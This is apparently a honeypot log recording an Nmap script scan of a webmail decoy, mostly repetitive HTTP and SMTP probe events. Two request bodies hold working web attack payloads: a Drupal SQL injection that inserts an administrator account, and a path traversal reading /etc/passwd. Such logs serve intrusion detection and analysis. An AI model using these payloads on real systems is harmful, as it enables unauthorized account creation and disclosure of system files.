  <134>1 2026-04-08T04:34:29.258032+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Connection: close"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "User-Agent: AnyConnect Darwin_i386 3.1.05160"}
raw_line:
  <134>1 2026-04-08T04:34:29.258080+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="User-Agent: AnyConnect Darwin_i386 3.1.05160"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "X-Aggregate-Auth: 1"}
raw_line:
  <134>1 2026-04-08T04:34:29.258129+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="X-Aggregate-Auth: 1"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Accept: */*"}
raw_line:
  <134>1 2026-04-08T04:34:29.258174+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Accept: */*"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": "Accept-Encoding: identity"}
raw_line:
  <134>1 2026-04-08T04:34:29.258223+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command="Accept-Encoding: identity"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: unknown_command
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5", "command": ""}
raw_line:
  <134>1 2026-04-08T04:34:29.258272+00:00 decky-webmail smtp - unknown_command [decnet@55555 src="192.168.1.5" command=""]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.307234+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/index.php.txt" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/index.php\u0000.txt", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: smtp
event_type: disconnect
attacker_ip: 192.168.1.5
fields: {"src": "192.168.1.5"}
raw_line:
  <134>1 2026-04-08T04:34:29.356827+00:00 decky-webmail smtp - disconnect [decnet@55555 src="192.168.1.5"]


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.407235+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/nmaplowercheck1775622867" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/nmaplowercheck1775622867", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.456694+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.506114+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/_vti_inf.html" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/_vti_inf.html", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.555725+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Depth': '0', 'Connection': 'close'}" body=""]

fields:
  {"method": "PROPFIND", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Depth': '0', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.605201+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/CFIDE/adminapi/administrator.cfc" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/CFIDE/adminapi/administrator.cfc", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.654617+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/wp-login.php" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}" body=""]

fields:
  {"method": "GET", "path": "/wp-login.php", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Connection': 'close'}", "body": ""}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.704717+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': '192.168.1.110', 'Content-Length': '515'}" body="name[0;insert%20into%20users%20%28uid%2Cname%2Cpass%2Cmail%2Cstatus%29%20select%20max%28uid%29%2B1%2C%27cuxofalugy%27%2C%27%24P%24Djsjxyosd6B5frRclNct4qeaZULzkB0%27%2C%27qwotrmiw%40ntqtr.ccl%27%2C1%20from%20users%3Binsert%20into%20users_roles%20%28uid%2C%20rid%29%20VALUES%20%28%28select%20uid%20from%20users%20where%20name%3D%27cuxofalugy%27%29%2C%20%28select%20rid%20from%20role%20where%20name%20%3D%20%27administrator%27%29%29%3B#%20%20\]=gaoqzhwizf&name[0\]=gyuzblwqen&pass=dmjqfajxdl&form_id=user_login&op=Log"]

fields:
  {"method": "POST", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': '192.168.1.110', 'Content-Length': '515'}"}


timestamp: 2026-04-08 04:34:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:29.810112+00:00 decky-webmail http - request [decnet@55555 method="POST" path="/jjmxzlevuebb" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': '192.168.1.110', 'Content-Length': '100'}" body="usesubform[1\]=1&usesubform[2\]=1&subform[1\][redirect\]=../../../../../etc/passwd&subform[1\][cXIb8O3\]=1"]

fields:
  {"method": "POST", "path": "/jjmxzlevuebb", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Content-Type': 'application/x-www-form-urlencoded', 'Host': '192.168.1.110', 'Content-Length': '100'}"}


timestamp: 2026-04-08 04:34:38
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:38.361667+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:34:48
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:48.534689+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}", "body": ""}


timestamp: 2026-04-08 04:34:58
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:34:58.706568+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:35:08
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:35:08.879384+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:35:19
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:35:19.053295+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:35:29
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:35:29.235485+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:35:39
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:35:39.415532+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:35:49
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:35:49.592599+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:35:59
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:35:59.756064+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:36:09
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:36:09.927932+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:36:20
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:36:20.103389+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:36:30
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:36:30.278231+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:36:40
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:36:40.452159+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:36:50
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:36:50.627441+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:37:00
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:37:00.805486+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:37:10
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:37:10.985663+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:37:21
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:37:21.164276+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:37:31
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:37:31.343959+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:37:41
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:37:41.513620+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:37:51
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:37:51.686550+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:38:01
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:01.867615+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:38:14.339487+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:38:14.339642+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:38:14.339868+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:38:14.388633+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:14.538152+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Host': '192.168.1.110', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)'}" body=""]

fields:
[cell repeats an earlier one in this file: 209 characters]


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:14.538437+00:00 decky-webmail http - request [decnet@55555 method="PROPFIND" path="/" remote_addr="192.168.1.5" headers="{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Content-Length': '279', 'Content-Type': 'application/xml', 'Connection': 'close'}" body="<?xml version=\"1.0\" encoding=\"utf-8\"?><propfind xmlns=\"DAV:\"><prop><getcontentlength xmlns=\"DAV:\"/><getlastmodified xmlns=\"DAV:\"/><executable xmlns=\"http://apache.org/dav/props/\"/><resourcetype xmlns=\"DAV:\"/><checked-in xmlns=\"DAV:\"/><checked-out xmlns=\"DAV:\"/></prop></propfind>"]

fields:
  {"method": "PROPFIND", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110', 'Content-Length': '279', 'Content-Type': 'application/xml', 'Connection': 'close'}", "body": "<?xml version=\"1.0\" encoding=\"utf-8\"?><propfind xmlns=\"DAV:\"><prop><getcontentlength xmlns=\"DAV:\"/><getlastmodified xmlns=\"DAV:\"/><executable xmlns=\"http://apache.org/dav/props/\"/><resourcetype xmlns=\"DAV:\"/><checked-in xmlns=\"DAV:\"/><checked-out xmlns=\"DAV:\"/></prop></propfind>"}


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
fields: {"method": "GET", "path": "/images", "remote_addr": "192.168.1.5", "headers": "{}", "body": ""}
raw_line:
  <134>1 2026-04-08T04:38:14.538620+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/images" remote_addr="192.168.1.5" headers="{}" body=""]


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:14.587535+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/cmdownloads/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/cmdownloads/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:14.636783+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:14.686632+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/robots" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/robots", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:14.735926+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/axis2/services/listServices" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/axis2/services/listServices", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:14.785827+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/nmaplowercheck1775623094" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/nmaplowercheck1775623094", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:14.835450+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:14.885099+00:00 decky-webmail http - request [decnet@55555 method="PING" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "PING", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:14.934607+00:00 decky-webmail http - request [decnet@55555 method="OPTIONS" path="/" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "OPTIONS", "path": "/", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:14
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:14.984097+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/tyheprdaujfbthwwjkhn.htm" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
  {"method": "GET", "path": "/tyheprdaujfbthwwjkhn.htm", "remote_addr": "192.168.1.5", "headers": "{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}", "body": ""}


timestamp: 2026-04-08 04:38:15
decky: decky-webmail
service: http
event_type: request
attacker_ip: Unknown
raw_line:
  <134>1 2026-04-08T04:38:15.034696+00:00 decky-webmail http - request [decnet@55555 method="GET" path="/CFIDE/adminapi/customtags/l10n.cfm" remote_addr="192.168.1.5" headers="{'Connection': 'close', 'User-Agent': 'Mozilla/5.0 (compatible; Nmap Scripting Engine; https://nmap.org/book/nse.html)', 'Host': '192.168.1.110'}" body=""]

fields:
